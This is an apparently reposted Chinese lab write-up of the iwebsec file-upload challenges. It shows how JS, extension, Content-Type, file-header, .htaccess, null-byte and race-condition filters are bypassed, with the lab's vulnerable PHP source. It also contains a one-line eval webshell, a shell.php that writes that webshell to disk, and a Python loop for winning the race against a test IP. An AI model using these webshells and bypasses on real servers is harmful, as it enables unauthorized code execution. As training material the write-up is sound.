文件上传漏洞 | iwebsec

news2025/1/9 10:12:57

文章目录

    • 靶场搭建
    • 文件上传漏洞
      • 前端JS过滤绕过
      • 文件名过滤绕过
      • Content-Type过滤绕过
      • 文件头过滤绕过
      • .htaccess文件上传
      • 文件截断上传
      • 条件竞争文件上传

靶场搭建


  1. 参考文章
    https://juejin.cn/post/7068931744547733517
    
  2. 出现个小问题,我的端口冲突了,所以换了一个不冲突的端口
    在这里插入图片描述
  3. 访问
    在这里插入图片描述

文件上传漏洞


  • 定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。一般都是指上传Web脚本能够被服务器解析的问题。因此我们可以在浏览器禁止JavaScript,也可以上传允许的后缀然后抓包修改。

  • 条件

上传含有木马的文件
该文件可以解析

前端JS过滤绕过


  1. JS检测

    JavaScript检测常见于用户选择文件上传的场景。JavaScript会检测上传文件的后缀是否可以上传,检测过程中上传文件的数据包并不会发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。

  2. 制作php木马文件
    在这里插入图片描述

  3. 上传
    在这里插入图片描述

  4. 不允许上传
    在这里插入图片描述

  5. 制作png木马文件在这里插入图片描述

  6. 上传在这里插入图片描述

  7. 转成repeater
    在这里插入图片描述

  8. 转发png文件
    在这里插入图片描述

  9. 无法解析在这里插入图片描述

  10. 修改文件后缀为php,发送。访问发现解析了。
    在这里插入图片描述

  11. 蚁剑连接
    在这里插入图片描述

  12. 进入后台
    在这里插入图片描述

  13. 源码(看网页源代码)

     <script type="text/javascript">
            function checkFile() {
                var file = document.getElementsByName('upfile')[0].value;
                if (file == null || file == "") {
                    alert("你还没有选择任何文件,不能上传!");
                    return false;
                }
                //定义允许上传的文件类型
                var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
                //提取上传文件的类型
                var ext_name = file.substring(file.lastIndexOf("."));
                //alert(ext_name);
                //alert(ext_name + "|");
                //判断上传文件类型是否允许上传
                if (allow_ext.indexOf(ext_name + "|") == -1) {
                    var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                    alert(errMsg);
                    return false;
                }
            }
        </script>
    

文件名过滤绕过


  1. 文件名大小写

    Windows系统下,文件名中的大小写不敏感。tesT.php=TESt.PHP
    linux系统下,文件名是敏感的。tesT.php和TESt.PHP是两个不同的文件

  2. 上传含有一句话木马的png文件
    在这里插入图片描述

  3. 不能上传php文件
    在这里插入图片描述

  4. 将文件名改为大写,上传成功

    在这里插入图片描述

  5. 解析成功
    在这里插入图片描述

  6. 蚁剑连接
    在这里插入图片描述

  7. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name']))
    	{ 
    		$upfile=$_FILES["upfile"]; 
    		
    		//获取数组里面的值 
    		$name=$upfile["name"];//上传文件的文件名 
    		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
    		$size=$upfile["size"];//上传文件的大小 
    		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
    		
    		//判断是否为图片 
    		if($type=="php")  //只是匹配php,我们可以大写PHP,Php绕过
    		{
    			echo "<script>alert('不能上传php文件!')</script>";
    			die();
    		}
    		else
    		{
    			$error=$upfile["error"];//上传后系统返回的值 
    			echo "================<br/>"; 
    			echo "上传文件名称是:".$name."<br/>"; 
    			echo "上传文件类型是:".$type."<br/>"; 
    			echo "上传文件大小是:".$size."<br/>"; 
    			echo "上传后系统返回的值是:".$error."<br/>"; 
    			echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 
    			echo "开始移动上传文件<br/>"; 
    			//把上传的临时文件移动到up目录下面 
    			move_uploaded_file($tmp_name,'up/'.$name); 
    			$destination="up/".$name; 
    			echo "================<br/>"; 
    			echo "上传信息:<br/>"; 
    			if($error==0)
    			{ 
    				echo "文件上传成功啦!"; 
    				echo "<br>图片预览:<br>"; 
    				echo "<img src=".$destination.">"; 
    			}
    		}
    	}
    ?>
    

Content-Type过滤绕过


  1. Content-Type检测

    在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。

    HTML文档标记:text/html;
    JPEG图片标记:image/jpeg;
    GIF图片标记:image/gif;
    js文档标记:application/javascript;
    xml文件标记:application/xml;

  2. 前端直接上传png格式的文件,此时的Content-Type就为image/png
    在这里插入图片描述

  3. 修改为文件名为php
    在这里插入图片描述

  4. 成功,连蚁剑
    在这里插入图片描述

  5. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		$upfile=$_FILES["upfile"]; 
    		//获取数组里面的值 
    		$name=$upfile["name"];//上传文件的文件名 
    		$type=$upfile["type"];//上传文件的类型 
    		$size=$upfile["size"];//上传文件的大小 
    		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
    		
    		//判断是否为图片类型,检查content-type是否符合
    		switch ($type){ 
    			case 'image/pjpeg':$okType=true; 
    			break; 
    			case 'image/jpeg':$okType=true; 
    			break; 
    			case 'image/gif':$okType=true; 
    			break; 
    			case 'image/png':$okType=true; 
    			break; 
    		} 
    		
    		if($okType){ 
    			/** 
    			* 0:文件上传成功<br/> 
    			* 1:超过了文件大小,在php.ini文件中设置<br/> 
    			* 2:超过了文件的大小MAX_FILE_SIZE选项指定的值<br/> 
    			* 3:文件只有部分被上传<br/> 
    			* 4:没有文件被上传<br/> 
    			* 5:上传文件大小为0 
    			*/ 
    			$error=$upfile["error"];//上传后系统返回的值 
    			echo "================<br/>"; 
    			echo "上传文件名称是:".$name."<br/>"; 
    			echo "上传文件类型是:".$type."<br/>"; 
    			echo "上传文件大小是:".$size."<br/>"; 
    			echo "上传后系统返回的值是:".$error."<br/>"; 
    			echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 
    			echo "开始移动上传文件<br/>"; 
    			//把上传的临时文件移动到up目录下面 
    			move_uploaded_file($tmp_name,'up/'.$name); 
    			$destination="up/".$name; 
    			echo "================<br/>"; 
    			echo "上传信息:<br/>"; 
    			if($error==0){ 
    				echo "文件上传成功啦!"; 
    				echo "<br>图片预览:<br>"; 
    				echo "<img src=".$destination.">"; 
    			}elseif ($error==1){ 
    				echo "超过了文件大小,在php.ini文件中设置"; 
    			}elseif ($error==2){ 
    				echo "超过了文件的大小MAX_FILE_SIZE选项指定的值"; 
    			}elseif ($error==3){ 
    				echo "文件只有部分被上传"; 
    			}elseif ($error==4){ 
    				echo "没有文件被上传"; 
    			}else{ 
    				echo "上传文件大小为0"; 
    			} 
    		}else{ 
    			echo "请上传jpg,gif,png等格式的图片!"; 
    		} 
    	} 
    ?>
    

文件头过滤绕过


  1. 文件头检测

    文件头检测是使用对于文件内容的验证机制,这种方法利用每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型。
    在这里插入图片描述

  2. 上传
    在这里插入图片描述

  3. 添加GIF89A
    在这里插入图片描述

    在这里插入图片描述

  4. 访问,解析成功
    在这里插入图片描述

  5. 蚁剑连接
    在这里插入图片描述

  6. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		......
    		//判断是否为图片 
    		if(!exif_imagetype($_FILES['upfile']['tmp_name'])){   //调用exif_imagetype()检查文件头
    			echo "<script>alert('请上传图片文件!')</script>";
    			die();
    		}else{
    			......
    			}
    	}
    ?>
    

.htaccess文件上传


  1. .htaccess文件(下面任意一句都可以)

    SetHandler application/x-httpd-php      //含义:将所有的文件都当做PHP执行
    AddType application/x-httpd-php .jpg     //含义:将jpg文件解析为php文件
    AddType application/x-httpd-php .html   //含义:将html文件也能执行.php文件
    AddType application/x-httpd-php .txt     //含义:普通的文本文档也能执行.php文件
    
  2. preg_match() 函数 在这里插入图片描述

  3. 成功上传了含有一句话木马的png文件
    在这里插入图片描述

  4. 但是无法解析png文件中的php代码
    在这里插入图片描述

  5. 上传.htaccess文件,这个文件没有被过滤。SetHandler application/x-httpd-php将所有的文件都当做PHP执行
    在这里插入图片描述

  6. 刚刚png文件无法解析,但是现在png文件中的php代码解析成功了
    在这里插入图片描述

  7. 蚁剑
    在这里插入图片描述

  8. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		......
    		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
    		......
    		//判断是否为图片 
    		if (preg_match('/php/i', $type)) {  // i 使php大小写都能匹配
    			echo "<script>alert('不能上传php文件!')</script>";
    			die();
    		}
    	......
    	}
    ?>
    

文件截断上传


  1. 文件名截断

    00x0是十六进制表示方法,是ASCII码为0的字符。在有些函数处理时,会把这字符当作结束符。系统在对文件名的读取时,如果遇到00x0,就会认为读取已结束。在PHP5.3之后的版本中完全修复了00截断,并且00截断受限于GPCaddslashes函数。

  2. 添加前缀
    在这里插入图片描述

  3. 发包,观测返回的结果
    在这里插入图片描述

  4. %00编码一下
    在这里插入图片描述

  5. 编码结果
    在这里插入图片描述
    分析一下
    在这里插入图片描述

  6. 蚁剑连接
    在这里插入图片描述

  7. 可以观察到只有6.php,没有6.php_74032572.jpg
    在这里插入图片描述

  8. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		$upfile=$_FILES["upfile"]; 
    		$name=$upfile["name"];
    		$type=substr($name, strrpos($name, '.')+1);
    		$size=$upfile["size"];
    		$tmp_name=$upfile["tmp_name"];
    		$uptypes=array('jpg','jpeg','png','pjpeg','gif','bmp'); 
    		$path = 'up/'.$_POST[path].'_'.rand().'.jpg';  //将 输入的前缀 + 随机生成的数字 作为最终保存的文件名
    		......
    		move_uploaded_file($tmp_name,$path); 
    		......
    	}
    ?>
    

条件竞争文件上传


  1. 观察上传文件
    在这里插入图片描述

  2. 分析一下源码逻辑

    <?php
    if (isset($_POST['submit'])){
        $allow_ext = array("gif","png","jpg");  //允许的后缀
    	$uploaddir = 'uploads/';
        $filename = $uploaddir.$_FILES['upfile']['name'];
    	move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);  //1 以上传时的文件名保存
        $file = "./".$filename;  
        echo "文件上传成功: ".$file."\n<br />";  
        sleep(1);  //这是我加的,为了爆破减少时间,我加了个时间,增加成功率
        $ext = array_pop(explode(".",$_FILES['upfile']['name']));
        if (!in_array($ext,$allow_ext)){  //2 判断上传文件的后缀是否符合条件
            unlink($file);
            die("此文件类型不允许上传已删除");    //3 不符合条件就删除
        }
    	}else{
    		die("");
    	}
    ?>
    

    代码逻辑:先以上传时文件名保存,然后检测文件是否符合条件,如果不符合条件就删除该文件。意味着:上传的文件曾经存在过服务器中,我们有可能在它被删除之前成功访问。

    做法:不断上传可以写新的马的shell.php文件,在上传成功后访问shell.php文件,访问的过程中shell.php代码解析然后新建7.php文件写马。这样即使原先的shell.php文件被删除,我们还有新写入的马子。这个过程打的就是时间差。【注意:并不是上传了shell.php文件就写马,必须访问它,在访问的过程中解析才进行写马操作。】

  3. 正常上传png文件进行抓包,send to intruder,进行爆破
    在这里插入图片描述

  4. 条件爆破点
    在这里插入图片描述

  5. 写shell.php的内容
    在这里插入图片描述

    <?php
    	echo 11;
    	fputs(fopen('7.php','w'),'<?php @eval($_POST[123])?>');
    ?>
    

    第一句:输出11,这是用脚本访问shell.php当做标记用的。
    第二句:新建7.php,并将内容<?php @eval($_POST[123])?>写入其中。

  6. 设置爆破条件
    在这里插入图片描述

  7. 脚本访问shell.php,在访问的过程解析php代码写入马

    import requests
    def main():
        i=0
        while 1:
            try:
                print(i,end='\r')
                test = requests.get("http://20.210.90.167:81/upload/uploads/shell.php ")    #不断访问上传的php文件,为了让shell.php进行代码解析,写入新的马
                if "11" in test.text:                     
                    print("OK")
                    break
            except Exception as e:
                pass
            i+=1
    if __name__ == '__main__':
        main()
    

    在这里插入图片描述

  8. 开始爆破
    在这里插入图片描述

  9. 打开upload目录,会看到PHP文件短暂存在过。【这是前几关getshell后进入后台的】
    在这里插入图片描述

  10. 写马成功,蚁剑连接
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/21733.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux-unbuntu修改apt源

本文介绍如何将ubuntu的apt源修改为清华大学的镜像源 主要是修改/etc/apt/source.list的文件&#xff0c;并且使用sudo apt-get update来刷新源 修改apt源 unbuntu安装好之后&#xff0c;apt的源是us的&#xff0c;这样下载速度比较慢 apt源的地址放在/etc/apt/source.list中…

SpringBoot SpringBoot 开发实用篇 4 数据层解决方案 4.14 ES 索引操作

SpringBoot 【黑马程序员SpringBoot2全套视频教程&#xff0c;springboot零基础到项目实战&#xff08;spring boot2完整版&#xff09;】 SpringBoot 开发实用篇 文章目录SpringBootSpringBoot 开发实用篇4 数据层解决方案4.14 ES 索引操作4.14.1 索引操作4.14.2 小结4 数据…

m基于OFDM数字电视地面广播系统中频域同步技术研究

目录 1.算法概述 2.仿真效果预览 3.MATLAB部分代码预览 4.完整MATLAB程序 1.算法概述 OFDM技术的基本构架如下所示&#xff1a; 注意系统中的虚线部分就是你要做的OFDM的频域同步模块。我们的MATLAB代码就是参考这个系统结构进行设计的。其中虚线就是本课题要做的代码部分…

[附源码]java毕业设计停车场管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

day04 spring 声明式事务

day04 spring 声明式事务 1.JDBCTemplate 1.1 简介 为了在特定领域帮助我们简化代码&#xff0c;Spring 封装了很多 『Template』形式的模板类。例如&#xff1a;RedisTemplate、RestTemplate 等等&#xff0c;包括我们今天要学习的 JDBCTemplate。 1.2 准备工作 1.2.1 加…

Python之TCP网络编程

目录 1. python3编码转换 2. TCP网络应用程序开发 2.1 概述 2.2 开发流程 2.3 TCP客户端程序开发 2.4 TCP服务端程序开发 2.5 注意点 3. socket之send和recv原理 4. 案例 1. python3编码转换 1.网络传输是以二进制数据进行传输的。 2.数据转化用到了encode和decode函数…

ES6 入门教程 15 Proxy 15.2 Proxy 实例的方法 15.2.1 get()

ES6 入门教程 ECMAScript 6 入门 作者&#xff1a;阮一峰 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删 文章目录ES6 入门教程15 Proxy15.2 Proxy 实例的方法15.2.1 get()15 Proxy 15.2 Proxy 实例的方法 拦截方法的详细介绍。 15.2.1 get() get方…

应急响应-进程排查

进程排查 进程是计算机中的程序关于某数据集合上的一次运行活动&#xff0c;是系统进行资源分配和调度的基本单位&#xff0c;是操作系统结构的基础。无论在Windows还是Linux中&#xff0c;主机在感染恶意程序后&#xff0c;恶意程序都会启动相应进程来完成恶意操作。 Window…

Android 深入理解View.post() 、Window加载View原理

文章目录背景&#xff1a;如何在onCreate()中获取View的宽高&#xff1f;View.post()原理Window加载View流程setContentView()ActivityThread#handleResumeActivity()总结扩展Window、Activity及View三者之间的关系是否可以在子线程中更新UI资料背景&#xff1a;如何在onCreate…

m认知无线电信号检测算法matlab仿真,能量检测,循环平稳检测以及自相关检测

目录 1.算法概述 2.仿真效果预览 3.MATLAB部分代码预览 4.完整MATLAB程序 1.算法概述 频谱感测是认知无线电的一项关键技术。我们将频谱感知作为一个分类问题&#xff0c;提出一种基于深度学习分类的感知方法。我们归一化接收信号功率以克服噪声功率不确定性的影响。我们使…

postgresql源码学习(49)—— MVCC⑤-cmin与cmax 同事务内的可见性判断

一、 难以理解的场景 postgresql源码学习&#xff08;十九&#xff09;—— MVCC④-可见性判断 HeapTupleSatisfiesMVCC函数_Hehuyi_In的博客-CSDN博客 在前篇的可见性判断中有个一直没想明白的问题 —— 本事务插入的数据&#xff0c;什么场景可能会出现去查询获取快照后插入…

路面坑洼检测中的视觉算法

3D道路成像和路面坑洼检测的经典工作综述。论文链接&#xff1a;https://arxiv.org/pdf/2204.13590.pdf 计算机视觉算法在3D道路成像和路面坑洼检测中的应用已有二十多年的历史。这里先介绍了用于2D和3D道路数据采集的传感系统&#xff0c;包括摄像机、激光扫描仪和微软Kinect…

汉兰达汽车发动机怠速抖动故障诊断方案设计

目录 一、课题简介 1 1.1课题基本内容 1 1.2课题解决的主要问题 1 1.3课题设计思路 1 二、毕业设计成果 2 2.1汉兰达汽车发动机怠速抖动故障现象描述 2 2.2 汉兰达汽车发动机怠速抖动故障原因分析 2 2.3汉兰达汽车发动机怠速抖动故障诊断与排除 6 2.4维修结论与建议 12 三、毕业…

java sleep yield join区别

1、sleep&#xff1a;让出CPU调度&#xff0c;Thread类的方法&#xff0c;必须带一个时间参数。会让当前线程休眠进入阻塞状态并释放CPU&#xff08;阿里面试题 Sleep释放CPU&#xff0c;wait 也会释放cpu&#xff0c;因为cpu资源太宝贵了&#xff0c;只有在线程running的时候&…

高效正则匹配工具

很多人都用过正则&#xff0c;但文章或许会给你一种全新的认识(思考) 以下内容适合高效率正则匹配&#xff08;比较适合正则匹配场景较多的情况&#xff09; 效率提升精华&#xff1a;本地缓存减少编译次数&#xff08;对effective java的思考&#xff0c;以及对数据库连接中…

Java中的装包(装箱)和拆包(装包)

装箱和拆箱 在Java的学习中&#xff0c;我们有的时候会设计装箱和拆箱的概念&#xff08;也就是常说的装包和拆包&#xff09;&#xff0c;这篇博客将详细讲解一下装箱和拆箱的概念及其用途。 装箱&#xff08;装包&#xff09;&#xff1a;将基本数据类型转换成包装类类型 拆…

websocket给指定客户端推送消息

业务场景 最近有一个业务场景是要做实时语音转义&#xff0c;考虑到实时性&#xff0c;所以决定采用websocket实现。 业务场景是A客户端(手机)进行语音转义的结果实时同步到B客户端(pc)&#xff0c;这就需要用到websocket将A转义的结果发送给服务端&#xff0c;服务端接收到A…

软件工程经济学复习题答案

1、利润 收入-成本费用 2、资产 流动资产非流动资产 3、显性成本可以用货币计量&#xff0c;是可以在会计的帐目上反映出来的 4、领取什么保险应缴纳个人所得税 商业保险 某企业一项固定资产的原价为8000 000元&#xff0c;预计使用年限为6年&#xff0c;预计净残值为5 0…

[LeetCode周赛复盘] 第 320 场周赛20221120

[LeetCode周赛复盘] 第 320 场周赛20221120 一、本周周赛总结二、 [Easy] 6241. 数组中不等三元组的数目1. 题目描述2. 思路分析3. 代码实现三、[Medium] 6242. 二叉搜索树最近节点查询1. 题目描述2. 思路分析3. 代码实现四、[Hard] 6243. 到达首都的最少油耗1. 题目描述2. 思路…

10_libpcap以及libnet

知识点1【飞秋欺骗】 1、windwos安装飞秋 双击运行 2、ubuntu安装飞秋 sudo apt-get install iptux ubuntu运行飞秋&#xff1a;iptux& 3、飞秋的格式&#xff1a; 版本:包编号:用户名:主机名:命令字:附加消息 飞秋的端口是2425固定的 1表示上线 32表示普通消息 1_i…